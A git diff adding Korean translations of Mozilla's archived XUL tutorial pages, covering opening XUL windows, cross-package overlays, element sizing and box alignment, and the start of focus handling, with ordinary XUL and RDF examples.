+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+
+<window
+    id="findfile-window"
+    title="Find Files"
+    orient="horizontal"
+    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+<!-- Other elements go here -->
+</window>
+
+ +

이 창은 아무런 UI 요소를 담고 있지 않기 때문에 아무것도 하지 않습니다. UI 요소는 다음 절(section)에서 추가합니다. 여기서는 위 코드를 한줄한줄 설명합니다.

+ +
    +
  1. <?xml version="1.0"?>
    + 이 줄은 이 파일이 XML 파일임을 간단히 선언합니다. 보통 HTML 파일 상단에 HTML 태그를 놓는 것과 같이 이 줄을 각 xul 파일 상단에 추가합니다.
  2. +
  3. <?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
    + 이 줄은 파일에 쓸 스타일 시트를 지정하는 데 씁니다. 이는 XML 파일이 스타일 시트를 가져오는(import) 데 쓰는 구문입니다. 이 경우에, 우리는 스킨 꾸러미(package)의 전역(global) 부분에 있는 스타일을 가져옵니다. 우리가 특정 파일을 지정하지 않기에 Mozilla가 디렉토리에서 어떤 파일을 쓸 지 결정합니다. 위 경우에, 가장 중요한 global.css 파일이 선택됩니다. 이 파일은 모든 XUL 요소를 위한 기본 선언 전부를 담고 있습니다. XML은 요소가 표시되는 법에 관한 아무런 지식이 없기 때문에, 그 파일은 방법을 나타냅니다. 보통, 모든 XUL 파일 상단에 이 줄을 놓습니다. 또한 비슷한 구문을 써서 다른 스타일 시트를 가져오기도 합니다. 보통은 자신의 스타일 시트 파일 안에서 전역 스타일 시트를 가져옴을 유념하세요.
  4. +
  5. <window
    + 이 줄은 창(window)을 기술함을 선언합니다. 각 사용자 인터페이스 창은 개별 파일에서 기술합니다. 이 태그는 대체로 HTML에서 전체 내용(content)을 둘러싸는 BODY 태그와 같습니다. 여러 속성window 태그에 놓일 수 있습니다 -- 이 경우에는 넷입니다. 예제에서, 각 속성은 각 줄에 놓이지만 그래야만 하는 건 아닙니다.
  6. +
  7. id="findfile-window"
    + id 속성은 창이 스크립트에 의해 참조될 수 있도록 식별자(identifier)로 쓰입니다. 여러분은 보통 모든 요소에 id 속성을 놓습니다. 이름은 여러분이 원하는 아무거나 될 수 있지만 뭔가 관련이 있으면 좋습니다.
  8. +
  9. title="Find Files"
    + title 속성은 창이 표시될 때 제목 표시줄에 나타나는 텍스트를 기술합니다. 이번 경우에는 '파일 찾기' 텍스트가 나타납니다.
  10. +
  11. orient="horizontal"
    + orient 속성은 창의 항목 배열을 지정합니다. horizontal값은 항목이 창을 가로질러 가로로 놓임음 나타냅니다. 여러분은 또한 항목이 세로로 놓임을 뜻하는 vertical값을 써도 됩니다. 이 값이 기본값이므로, 혹시 여러분이 세로 방향이길 바라면 속성을 아주 빼도 됩니다.
  12. +
  13. xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
    + 이 줄은 여러분이 창 요소의 자식 모두가 XUL임을 나타내기 위해 창 요소에 놓는 XUL용 이름공간(namespace)을 선언합니다. 이 URL은 실제로 결코 내려받지 않음을 유념하세요. Mozilla는 이 URL을 내부로 인지합니다.
  14. +
  15. <!-- Other elements go here -->
    + 이 주석 블록을 창에 나타내기 위해 다른 요소(버튼, 메뉴, 다른 사용자 인터페이스 컴포넌트)로 바꾸세요. 우리는 이 가운데 일부를 다음 여러 절에서 추가합니다.
  16. +
  17. </window>
    + 그리고 끝으로, 파일 끝에서 window 태그를 닫을 필요가 있습니다.
  18. +
+ +

창 열기

+ +

XUL 창을 열기 위해, 쓸 수 있는 여러 방법이 있습니다. 혹시 여러분이 단지 개발 단계에 있다면, 그냥 Mozilla 브라우저 창 주소 표시줄에 URL(chrome:, file:이든 다른 URL 형이든)을 입력할 수 있습니다. 여러분은 또한 파일 관리자에서 Mozilla와 관련된 XUL 파일로 생각하는 파일을 두 번 클릭할 수 있습니다. XUL 창은 새 창이 아닌 브라우저 창에 나타나지만 이는 개발 초기 단계 동안은 대개 충분합니다.

+ +

물론 옳은 방법은 JavaScript를 써서 창을 여는 겁니다. HTML 문서를 위해 할 수 있는 것처럼 window.open() 함수를 쓰는 것 같은 새 구문이 필요하지 않습니다. 그러나, 'chrome'으로 불리는 추가 flag 하나가 이것이 여는 chrome 문서임을 브라우저에 나타내기 위해 필요합니다. 이는 보통 브라우저 창에 있는 도구 표시줄, 메뉴 등이 없이 창을 엽니다. 구문은 아래에 기술합니다:

+ +
window.open(url,windowname,flags);
+
+where the flags contains the flag "chrome" as in this example
+
+window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300");
+
+ +
+
findfile.xul 예제
+ +

파일 찾기 대화상자를 위한 기본 파일을 만들면서 시작하죠. findfile.xul 파일을 만들어 findfile.manifest 파일(우리가 이전 절에서 만들었슴)에 지정된 content 디렉토리에 넣으세요. 이 페이지 상단에 보이는 XUL 템플릿을 파일에 추가하고 저장하세요.

+
+ +

여러분은 Mozilla가 시작할 때 XUL 파일을 지정하기 위해 명령줄 매개변수 '-chrome'을 쓸 수 있습니다. 지정하지 않으면, 기본 창 열기가 열립니다(보통은 브라우저 창). 예를 들어, 우리는 다음 가운데 어느 쪽으로도 파일 찾기 대화상자를 엽니다.

+ +
mozilla -chrome chrome://findfile/content/findfile.xul
+
+mozilla -chrome resource:/chrome/findfile/content/findfile.xul
+
+ +

여러분이 명령줄(여러분의 플랫폼에 있다고 가정)에서 이 명령을 실행하면, 파일 찾기 대화상자를 Mozilla 브라우저 창 대신에 기본값으로 엽니다. 물론, 우리가 창에 아무런 UI 요소도 넣지 않았기 때문에, 나타난 창을 볼 수 없습니다. 다음 절에서 일부 요소를 추가합니다.

+ +

효과를 보기 위해, 다음은 북마크 관리자 창을 엽니다.

+ +
mozilla -chrome chrome://communicator/content/bookma...rksManager.xul
+
+혹시 Firefox를 쓴다면, 아래로 해보세요.
+firefox -chrome chrome://browser/content/bookmarks/b...rksManager.xul
+
+ +

'-chrome' 인수는 파일에 아무런 추가 특권(privilege)을 주지 않습니다. 대신, 주소 표시줄이나 메뉴와 같은 브라우저 chrome 없이 최상위 창으로 지정된 파일을 열게 합니다. 오직 chrome URL에 추가 특권이 있습니다.

+ +
Extension Developer's Extension은 여러분이 XUL 코드를 쳐 넣고 Mozilla 안에서 실시간으로 결과를 보게 하는 XUL 편집기를 담고 있습니다!
+ +

문제 해결하기

+ + + +
 <?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+
+ +

다음 절에서, 우리는 창에 버튼 몇 개를 추가합니다.

+ +

+

« 이전다음 »

+

+ +

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/cross_package_overlays/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/cross_package_overlays/index.html new file mode 100644 index 0000000000..18ae26938a --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/cross_package_overlays/index.html @@ -0,0 +1,79 @@ +--- +title: Cross Package Overlays +slug: Mozilla/Tech/XUL/XUL_Tutorial/Cross_Package_Overlays +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Cross_Package_Overlays +--- +

 

+

+

« 이전다음 »

+

+

이번 단원에서는 오버레이를 임포트(import)하지 않는 파일에 오버레이를 적용하는 방법에 대해 알아보겠습니다.

+

다른 꾸러미에 오버레이 적용하기

+
+ 알림: 이번 단원에서는 content.rdf를 통해 오버레이를 적용하는 방법에 대해 설명하며, Gecko 1.8 (Firefox 1.5) 부터는 선언 파일(manifest file)을 사용하는 것으로 변경되었습니다.
+

오버레이는 또 다른 유용한 기능을 제공합니다. 앞 단원 예제에서는 오버레이가 창에 의해 임포트(import)되었습니다. 여러분은 다른 방법으로 오버레이 스스로 적용할 대상 창을 명시하게도 할 수 있습니다. 여러분은 꾸러미 내에 있는 contents.rdf 파일을 수정해서 이를 지정할 수 있습니다. 이렇게 하면 오버레이를 적용하고자 하는 꾸러미를 수정하지 않고도 해당 꾸러미의 사용자 인터페이스를 변경할 수 있기 때문에 아주 유용합니다. 예를 들어 여러분은 Mozilla 브라우저 창에 메뉴 항목이나 툴바를 추가할 수 있습니다.

+

우리는 이 기능을 이용해서 Mozilla 브라우저 창에 툴바를 추가할 것입니다. Mozilla Mail 응용프로그램은 브라우저 창에 내용을 넣기 위해 오버레이를 사용합니다. 예를 들어 Mail이 설치되어 있지 않다면 새 메시지(New Message) 명령이 없지만, 설치되어 있다면 오버레이가 메뉴에 적용되어 새 메시지(New Message) 명령이 추가됩니다. 아래에서는 파일 찾기 툴바를 브라우저에 추가할 것입니다. 이 기능이 유용한 것은 아니지만 어쨌든 이렇게 하겠습니다.

+

Mozilla는 chrom 꾸러미, 스킨, 로케일 목록을 작성하는데 사용되는 contents.rdf 파일에 오버레이 목록을 추가할 수 있게 해 줍니다. 만일 오버레이를 작성하면 이것을 contents.rdf 파일에 추가할 수 있습니다. 그리고 오버레이를 적용하고자 하는 각 창 하나씩 항목을 추가합니다.

+
+

파일 찾기 예제

+

먼저 간단한 오버레이를 만들겠습니다. 여기에는 검색할 파일이름과 디렉토리를 입력할 수 있는 요소들만 들어 있습니다. 이 파일을 findfile.xul 파일이 있는 findfile 디렉토리에 foverlay.xul이라는 이름으로 저장하세요.

+

foverlay.xul 예제

+

Source

+
<?xml version="1.0"?>
+
+<overlay
+    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+<toolbox id="navigator-toolbox">
+  <toolbar id="findfile_toolbar">
+    <label control="findfile_filename" value="Search for files named:"/>
+    <textbox id="findfile_filename"/>
+    <label control="findfile_dir" value="Directory:"/>
+    <textbox id="findfile_dir"/>
+    <button label="Browse..."/>
+  </toolbar>
+</toolbox>
+
+</overlay>
+
+

위 파일에서 overlay를 window로 바꾸면 내용을 볼 수 있습니다. 여기서 특별하다고 할만한 것은 toolbox에 사용된 id입니다. 이 값(navigator-toolbox)은 브라우저 창(navigator.xul)에 있는 toolbox의 id와 동일합니다. 이는 브라우저 창의 toolbox에 오버레이가 적용되고 별도의 툴바에 내용이 추가된다는 것을 의미합니다.

+

이 오버레이를 선언 파일에 적용하기 위해서는 두 가지 리소스(resource)를 추가해야 합니다. 먼저, 오버레이를 적용할 각각의 창을 하나씩 추가합니다. 아래의 코드는 contents.rdf 파일의 닫는 RDF 태그 앞에 들어가야 합니다.

+
<RDF:Seq about="urn:mozilla:overlays">
+  <RDF:li resource="chrome://navigator/content/navigator.xul"/>
+</RDF:Seq>
+
+

이 코드는 오버레이 창을 루트(root) 오버레이 노드(urn:mozilla:overlay)의 자식에 넣는다는 것을 선언합니다. 여러분은 오버레이를 적용하고자 하는 창에 해당하는 li 노드를 추가해서 다른 노드를 추가할 수 있습니다.

+

다음은 창에 적용할 각 오버레이를 위한 노드를 추가합니다. 이번 경우에는 하나만 있지만 다른것도 추가할 수 있습니다. 이 줄을 위의 코드 다음 줄에 추가하세요.

+
<RDF:Seq about="chrome://navigator/content/navigator.xul">
+  <RDF:li>chrome://findfile/content/foverlay.xul</RDF:li>
+</RDF:Seq>
+
+
+
+ Image:crosspov1.jpg
+

Mozilla는 이 정보를 읽은 후 다른 창에 적용되는 오버레이 목록을 만듭니다. 이 정보는 chrome/overlayinfo 디렉토리에 저장됩니다. 이 디렉토리에 있는 파일들을 직접 수정할 필요는 없습니다. 이 파일들은 Mozilla가 처음 실행되거나 새로운 꾸러미가 설치되면 자동으로 생성되고 수정됩니다. 그러나 이 디렉토리와 chrome.rdf 파일을 삭제해서 강제로 이 데이터들이 재작성되도록 할 수 있습니다.

+

여러분은 이러한 기법을 추가 스타일시트를 적용하는데 사용할 수 있습니다. 다음 예는 이러한 것을 보여줍니다.

+
<RDF:Seq about="urn:mozilla:stylesheets">
+  <RDF:li resource="chrome://messenger/content/messenger.xul"/>
+</RDF:Seq>
+
+<RDF:Seq about="chrome://messenger/content/messenger.xul">
+  <RDF:li>chrome://blueswayedshoes/skin/myskinfile.css</RDF:li>
+</RDF:Seq>
+
+

 

+
+ 여기서부터는 Gecko 1.8 (Firefox 1.5)에서부터 사용하는 선언 파일을 통해 오버레이를 적용하는 방법입니다.
+
+

Gecko 1.8 (Firefox 1.5) 이후부터는 선언 파일을 이용하여 다른 꾸러미에 오버레이를 적용합니다. 파일 찾기 대화창을 위한 선언 파일인 findfile.manifest에 다음을 추가하면 됩니다.

+
overlay chrome://browser/content/browser.xul chrome://findfile/content/foverlay.xul
+
+
+

다음 단원에서는 XUL 응용프로그램을 위한 인스톨러(installer) 작성 방법에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/element_positioning/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/element_positioning/index.html new file mode 100644 index 0000000000..ce1d1c2c83 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/element_positioning/index.html @@ -0,0 +1,259 @@ +--- +title: Element Positioning +slug: Mozilla/Tech/XUL/XUL_Tutorial/Element_Positioning +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Element_Positioning +--- +

+

« 이전다음 »

+

+ +

이번에는 XUL 요소의 크기와 위치를 지정하는 방법을 알아 보겠습니다.

+ +

Box 요소의 위치 지정

+ +

지금까지 상자 속의 요소들을 가로나 세로로 정렬하는 방법을 배웠습니다. 우리는 상자 속 요소의 크기와 위치를 제어할 필요가 있으며, 이를 위해 먼저 상자가 작동하는 원리에 대해 좀 더 알아볼 필요가 있습니다.

+ +

XUL에서는 배치 방식(layout style)에 따라 내부 요소들의 위치가 결정됩니다. 예를 들어 가로 상자에 버튼을 추가하면 만약 추가된 버튼의 앞에 다른 요소가 있다면, 앞 버튼의 오른쪽에 위치하게 됩니다. 요소의 크기는 그 요소가 필요로 하는 크기와 사용자가 지시한 크기, 두 가지 요인에 의해 결정됩니다. 요소가 필요로 하는 크기는 그 요소 안에 무엇이 있느냐에 따라 달라집니다. 예를 들어 버튼의 너비는 버튼에 표시되는 문자열의 길이에 의해 결정됩니다.

+ +

일반적으로 요소의 크기는 내부의 것들을 표시하기에 딱 알맞은 크기로 결정됩니다. 글상자(textbox) 같은 몇몇 요소들에는 기본 크기가 지정되어 있습니다. 일반 상자는 그 내부의 요소들을 모두 포함할 수 있을 만큼 충분한 크기를 가지게 됩니다. 예를 들어 세 개의 버튼을 포함하는 가로 상자의 너비는 세 개의 버튼과 약간의 여백을 포함할 정도의 넓어집니다.

+ +
Image:boxstyle1n.png
+ +

그림에서 앞의 두 버튼은 문자열을 표시하기에 알맞은 크기로 되어 있습니다. 세 번째 버튼은 글자가 더 많기 때문에 크기가 더 큽니다. 버튼을 포함하고 있는 상자의 너비는 세 버튼의 너비와 버튼들 간의 사이 공간을 더한 전체 너비가 됩니다. 버튼의 높이도 글씨의 크기에 맞춰져 있습니다.

+ +

Width와 height 속성

+ +

여러분은 아마 창 내의 요소 크기를 좀 더 세밀히 제어할 필요가 있을 것입니다. 그래서 XUL은 요소의 크기를 조정할 수 있는 다양한 기능을 제공합니다. 그 중에서 가장 쉬운 방법은, HTML의 img에 너비와 높이를 주는 방식과 아주 비슷하게, 해당 요소에 widthheight 속성을 사용하는 것입니다. 다음은 이러한 예를 보여주고 있습니다.

+ +

예제 1 : Source View

+ +
<button label="OK" width="100" height="40"/>
+
+ +

하지만 이러한 방법은 사용 환경이나 테마에 따라 문제가 발생할 수 있기 때문에 그렇게 추천할 만한 방법이 아닙니다. 더 나은 방법은 style 속성을 이용하는 것인데, 이는 HTML의 스타일 시트와 유사하게 작동합니다. 이 때는 다음의 CSS 속성을 사용할 수 있습니다.

+ +
+
width 
+
요소의 너비를 지정합니다.
+
height 
+
요소의 높이를 지정합니다.
+
+ +

이 속성을 사용하면 지정된 너비와 높이를 가진 요소가 생성됩니다. 만약 하나의 값만 지정하면 나머지 값은자동으로 계산됩니다. 이러한 크기 스타일을 지정할 때는 수치와 단위를 함께 입력해야 합니다.

+ +

유연한 요소들

+ +

유연하지 않은(non-flexible) 요소의 크기는 쉽게 계산됩니다. 이런 요소들은 지정된 크기 그대로 화면에 나타나며, 만약 크기가 지정되지 않으면 내용을 표시하기에 알맞게 크기가 정해집니다. 하지만 유연한(flexible) 요소의 크기를 계산하는 것은 조금 까다롭습니다.

+ +

유연한 요소란 flex 속성의 값이 0보다 큰 요소입니다. 이들은 사용 가능한 공간에 맞추어 크기가 커지거나 줄어든다는 것을 이전 섹션에서 말씀드렸습니다. 이들의 처음 크기는 유연하지 않은(inflexible) 요소와 똑같이 계산됩니다. 다음의 예제는 앞서 말한 내용에 대해 보여줍니다.

+ +

예제 2 : Source View

+ +
<window orient="horizontal"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+<hbox>
+  <button label="Yes" flex="1"/>
+  <button label="No"/>
+  <button label="I really don't know one way or the other"/>
+</hbox>
+
+</window>
+
+ +

이 창을 열면 처음에는 위에서 본 그림처럼 나타날 것입니다. 앞의 두 버튼은 너비가 기본값과 같을 것이고 세 번째 버튼은 글자가 더 많기 때문에 너비가 더 클 것입니다. 첫번째 버튼은 유연하도록 설정되었으며 세 버튼 모두 상자에 포함되어 있습니다. 상자의 너비는 세 버튼의 총 너비(그림에서는 약 430 픽셀)로 맞춰질 것입니다.

+ +

만일 창의 크기를 늘리면 XUL은 빈 공간을 매꾸기 위해서 유연한 요소들이 있는지 검사합니다. 위 예제에서첫번째 버튼이 유연한 요소이지만, 창을 늘려도 버튼의 크기가 변하지 않을 것입니다. 이는 버튼을 포함하는 상자가 유연하지 않기 때문입니다. 유연하지 않은 요소는 사용 가능한 공간이 늘어나도 크기가 변하지 않으며 따라서 버튼도 더 커질 수가 없는 것입니다.

+ +

상자도 유연 요소로 만들면 문제가 해결됩니다. 그리고 나서 창을 늘리면 빈 공간이 생기고 이 빈 공간을 채우기 위해 상자의 크기도 변경됩니다. 상자가 더 커지면 상자 내부에 빈 공간이 생기고 그러면 상자 내부의 유연 요소인 버튼이 늘어나 빈 공간을 채우게 됩니다. 이러한 과정은 중첩된 상자에 대해 반복되어 처리됩니다.

+ +

최소 크기와 최대 크기 지정하기

+ +

여러분은 어떤 요소가 유연하면서도 특정 크기보다는 더 커지지 않도록 크기를 제한해야 할 때도 있을 수 있습니다. 또 그 반대로 최소 크기를 지정하고 싶을 때도 있을 것입니다. 이러한 제한들은 다음의 네 가지 속성을 사용해서 설정할 수 있습니다.

+ +
+
minwidth 
+
요소의 최소 너비를 지정한다.
+
minheight 
+
요소의 최소 높이를 지정한다.
+
maxwidth 
+
요소의 최대 너비를 지정한다.
+
maxheight 
+
요소의 최대 높이를 지정한다.
+
+ +

위의 모든 값은 픽셀로 계산됩니다. 그리고 위의 속성 대신 CSS의 min-width, min-height, max-width, max-height를 이용해도 됩니다.

+ +

이 속성들은 유연한 요소에만 적용됩니다. 예를 들어 최대 높이를 지정한 유연한 버튼은 지정된 높이만큼만 늘어날 수 있습니다. 최대 높이까지 늘어난 버튼은 창의 크기를 늘려도 더 이상 늘어나지 않습니다. 이 버튼을 포함하는 상자에 최대 높이를 지정하지 않으면 상자는 버튼과 상관 없이 계속해서 늘어날 것입니다.

+ +

만약 두 버튼이 동일하게 유연하다면, 두 버튼이 빈 공간을 똑같이 나누어 가질 것이다. 이 때 한 버튼에 최대 너비가 지정되어 있다면 남은 하나의 버튼이 남은 공간을 차지하게 됩니다.

+ +

만약 상자에 최대 너비나 높이가 지정되어 있다면 상자 내의 요소들은 그 이상 커질 수가 없습니다. 마찬가지로 상자에 최소 너비나 높이가 지정되어 있으면 상자 내의 요소들은 그 이하로 줄어들 수가 없습니다.

+ +
너비와 높이를 지정한 예제들
+ +
<button label="1" style="width: 100px;"/>
+<button label="2" style="width: 100em; height: 10px;"/>
+<button label="3" flex="1" style="min-width: 50px;"/>
+<button label="4" flex="1" style="min-height: 2ex; max-width: 100px"/>
+<textbox flex="1" style="max-width: 10em;"/>
+<description style="max-width: 50px">This is some boring but simple
+wrapping text.</description>
+
+ +
+
예제 1
+
첫 번째 버튼은 너비가 100픽셀(px는 픽셀을 의미)이 될 것입니다. 만약 단위를 입력하지 않으면 너비가 적용되지 않을 것입니다.
+
예제 2
+
두 번째 버튼은 높이가 10px, 너비가 100em(em은 사용하고 있는 글꼴의 한 글자 크기)으로 표시될 것입니다.
+
예제 3
+
세 번째 버튼은 유연한 요소이므로 버튼을 포함하는 상자의 크기에 따라 크기가 변경될 것입니다. 하지만 이 버튼은 50px 이하로는 줄어들지 않을 것입니다. 이 때는 다른 유연한 요소들이 유동비(flex값의 비율)와 상관 없이 남은 공간을 채울 것입니다.
+
예제 4
+
네 번째 버튼은 유연하지만 높이가 2ex(ex는 사용하고 있는 글꼴의 x의 크기) 이하로 줄어들지 않고, 100px 이상으로 늘어나지도 않을 것입니다.
+
예제 5
+
글상자는 유연하지만 크기가 10em 이상으로 늘어나지 않을 것입니다. 글자와 관련된 크기를 정할 때는 주로 em을 사용합니다. 글꼴이 변경되면서 글자의 크기가 변할 수 있지만 글상자의 크기를 em으로 지정하면 언제나 글꼴에 맞추어서 크기가 정해지기 때문에 매우 유용합니다.
+
예제 6
+
description 요소의 최대 너비가 50픽셀로 지정되어 있습니다. 글자가 50픽셀을 넘으면 나머지 글자는 다음 줄에 표시될 것입니다.
+
+ +
+
우리의 파일 찾기 대화창
+ +

위에서 본 스타일들 중 몇 가지를 파일 찾기 대화창에 추가해 보도록 하겠습니다. 우리는 글상자의 크기가 창의 크기에 맞추어 변하도록 만들어 볼 것입니다.

+ +
<textbox id="find-text" flex="1" style="min-width: 15em;"/>
+
+ +
Image:boxstyle1.png
+ +

위에서 글상자를 유연하게 만들었습니다. 이제 사용자가 대화창의 크기를 변경하면 글상자도 함께 늘어날 것입니다. 이는 사용자가 긴 문자열을 입력하고자 할 때 유용합니다. 또 최소 너비가 15em이기 때문에 글상자는 항상 적어도 15글자를 표시할 수 있게 되었습니다. 사용자가 창을 아주 작은 크기로 줄여도 글상자는 15em 이하로는 줄어들지 않을 것입니다. 이 때는 글상자가 마치 대화창의 경계를 벗어난 것처럼 그려질 것입니다. 그림에서와 같이 글상자가 창의 크기에 딱 맞추어져 있습니다.

+
+ +

상자 묶기

+ +

유연한 상자가 두 개의 자녀 요소를 갖고 있는데, 둘 다 유연하지 않다면 어떻게 될까요? 아래의 예를 보겠습니다.

+ +

예제 3 : Source View

+ +
<box flex="1">
+  <button label="Happy"/>
+  <button label="Sad"/>
+</box>
+
+ +

창의 크기가 변경되면 상자의 크기도 이에 맞추어 변경됩니다. 하지만 두 개의 버튼은 크기가 고정되어 있기 때문에 변하지 않을 것입니다. 따라서 상자의 내부에 빈 공간이 생겨 창의 오른쪽 부분에 빈 공간이 생긴 것처럼 보이게 됩니다. 하지만 아마 여러분은 왼쪽에 빈 공간이 생기고, 창의 오른쪽으로 버튼이 정렬되게끔 하고 싶을 때도 있을 것입니다.

+ +

상자 안에 여백(spacer)를 넣으면 되지만, 매번 그렇게 하는 것은 너무 성가실 것입니다. 더 좋은 방법은 boxpack 속성을 이용하는 것입니다. 이 속성은 상자내의 자식 속성을 어떻게 포장 할지를 나타내는 속성입니다. 수평 상자에서는 자식 요소들의 수평 위치를 제어하는데 사용되며, 수직 정렬 상자에서는 수직 위치를 제어하는데 사용됩니다. 이 속성에 사용할 수 있는 값은 다음의 세 가지입니다.

+ +
+
start 
+
자식 요소를 수평 상자에서는 왼쪽에, 수직 상자에서는 위쪽에 위치시키며 이것이 기본값입니다.
+
center 
+
자식 요소를 상자의 중앙에 위치시킵니다.
+
end 
+
자식 요소를 수평 상자에서는 오른쪽에, 수직 상자에서는 아래쪽에 위치시킵니다.
+
+ +

pack 속성은 자식 요소가 아니라 자식 요소를 포함하는 상자에 적용해야 합니다.

+ +

앞의 예제를 자식 요소들이 중앙에 오도록 하려면 다음과 같이 수정할 수 있습니다.

+ +

예제 4 : Source View

+ +
<box flex="1" pack="center">
+  <button label="Happy"/>
+  <button label="Sad"/>
+</box>
+
+ +

이제 창의 크기가 변경되면 버튼이 모두 가로 방향의 중앙에 위치합니다. 이를 앞의 예와 비교해 보세요.

+ +

상자 정렬

+ +

위의 Happy-Sad 예에서 창의 너비를 변경하면 상자의 너비도 함께 변경됩니다. 창의 높이를 변경하면 버튼의 높이도 변하는 것을 보실 것입니다. 이것은 다른 방향으로는 자동으로 크기 유연성이 지정되기 때문입니다.

+ +

이러한 동작 방법은 align 속성을 이용하면 조정할 수 있습니다. align 속성은 수평 상자에서는 자식 요소의 수직 위치를, 수직 상자에서는 자식 요소의 수평 위치를 조정하는데 사용합니다. 사용할 수 있는 값은 pack과 비슷합니다.

+ +
+
start 
+
자식 요소를 수평 상자의 윗부분에, 수직 상자의 왼쪽에 정렬합니다.
+
center 
+
자식 요소를 상자의 중앙에 정렬합니다.
+
end 
+
자식 요소를 수평 정렬 상자의 아래쪽에, 수직 정렬 상자의 오른쪽에 정렬합니다.
+
baseline 
+
문자열이 위로 올라오도록 자식 요소를 정렬합니다. 이 속성은 수평 정렬 상자에만 적용됩니다.
+
stretch 
+
이 속성의 기본값으로, 자식 요소들이 유연한 요소처럼 상자의 크기에 맞춰 늘어나도록 합니다. 단, 상자의 정렬 방향의 반대 방향에만 적용됩니다.
+
+ +

pack 속성과 마찬가지로 align 속성도 자식 요소가 아닌 자식 요소를 포함하는 상자에 적용해야 합니다.

+ +

다음의 예제에서 첫 번째 상자는 align 속성이 지정되지 않았기 때문에 자식 요소들이 늘어나게 됩니다. 하지만 두 번째 상자는 align 속성에 따라 자식 요소들이 한 가운데에 정렬되는 것을 볼 수 있을 것입니다.

+ +

예제 5 : Source View

+ +
<?xml version="1.0"?>
+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+
+<window id="yesno" title="Question" orient="horizontal"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+  <hbox>
+    <button label="Yes"/>
+    <button label="No"/>
+  </hbox>
+  <hbox align="center">
+    <button label="Maybe"/>
+    <button label="Perhaps"/>
+  </hbox>
+
+</window>
+
+ +
Image:boxstyle2-b.png
+ +

여러분은 pack과 align 속성 대신 style의 -moz-box-pack-moz-box-align을 사용할 수 있습니다.

+ +
상자의 여러 가지 속성에 대해 직접 시험해 보시려면, 상자 정렬 예제를 이용해 보시기 바랍니다.
+ +

문자열과 버튼 자르기

+ +

여러분은 아마 버튼의 최대 너비보다 긴 라벨을 가진 버튼 요소를 만들지도 모릅니다. 물론 문자열이 들어갈 만큼 버튼을 크게 만들면 되겠지만, 버튼(과 라벨을 가진 다른 요소)의 crop 속성을 이용하면 라벨이 너무 큰 경우 라벨이 잘려지는 방법을 제어할 수 있습니다.

+ +

문자열이 잘리면 잘린 부분에 말줄임표(...)가 나타납니다. crop 속성에 사용할 수 있는 값은 아래의 네 가지입니다.

+ +
+
start 
+
문자열의 왼쪽이 잘립니다.
+
end 
+
문자열의 오른쪽이 잘립니다.
+
center 
+
문자열의 왼쪽과 오른쪽이 모두 잘립니다.
+
none 
+
이 속성의 기본값으로 문자열이 잘리지 않습니다.
+
+ +

이 속성은 대화창이 어떤 크기에서든 사용할 수 있도록 만들 때 정말로 유용합니다. crop 속성은 label 속성을 갖는 요소들에서 사용할 수 있습니다. 아래의 예는 crop 속성의 사용법을 보여줍니다.

+ +

예제 6 : Source View

+ +
Image:boxstyle2.png
+ +
<button label="Push Me Please!" crop="end" flex="1"/>
+
+ +

창이 줄어들면 문자열의 오른쪽이 잘리는 것을 볼 수 있습니다.

+ +
+

지금까지의 파일 찾기 예제 : Source View

+
+ +

다음에는 지금까지 살펴본 상자 모델에 대한 요약과 함께 박스 모델에 대한 추가적인 세부 사항에 대해 알아보겠습니다.

+ +

+

« 이전다음 »

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/focus_and_selection/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/focus_and_selection/index.html new file mode 100644 index 0000000000..c2cc18a638 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/focus_and_selection/index.html @@ -0,0 +1,132 @@ +--- +title: Focus and Selection +slug: Mozilla/Tech/XUL/XUL_Tutorial/Focus_and_Selection +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Focus_and_Selection +--- +

 

+

+

« 이전다음 »

+

+

본 단원에서는 요소의 포커스(focus)와 선택(selection)을 다루는 방법에 대해 알아보겠습니다.

+

포커스를 얻은 요소

+

포커스를 얻은 요소라는 것은 현재의 입력 이벤트를 받는 요소를 의미합니다. 만일 창에 세 개의 텍스트 상자가 있다면, 포커스를 가진 것이 사용자가 현재 텍스트를 입력할 수 있는 텍스트 상자가 됩니다. 창 별로 한번에 하나의 요소만이 포커스를 가질 수 있습니다.

+

사용자는 마우스로 요소를 클릭하거나 Tab 키를 눌러서 포커스를 변경할 수 있습니다. Tab 키가 눌러지면, 다음 요소가 포커스를 받습니다. 이전 요소가 포서스를 받게 하려면 Shift와 Tab 키를 누르면 됩니다.

+

탭 순서 바꾸기

+

사용자가 Tab 키를 눌렀을 때 포커스를 받는 요소의 순서를 바꾸기 위해서는 요소에 tabindex 속성을 넣으면 됩니다. 이 속성은 숫자값으로 지정되어야 합니다. 사용자가 Tab을 누르면, 다음 번 tabindex 값을 가진 요소로 이동합니다. 이것은 요소의 인덱스값을 순서대로 지정해서 요소의 순서를 지정할 수 있다는 것을 의미합니다. 일반적으로는 tabindex 속성을 지정하지 않을 것입니다. 이럴 경우에는 Tab을 누르면 다음에 출력된 요소로 포커스가 이동할 것입니다. 여러분은 순서를 바꾸고 싶을 때만 탭 인덱스를 지정하면 됩니다. 예제는 다음과 같습니다.

+

예제 1 : Source View

+
<button label="Button 1" tabindex="2"/>
+<button label="Button 2" tabindex="1"/>
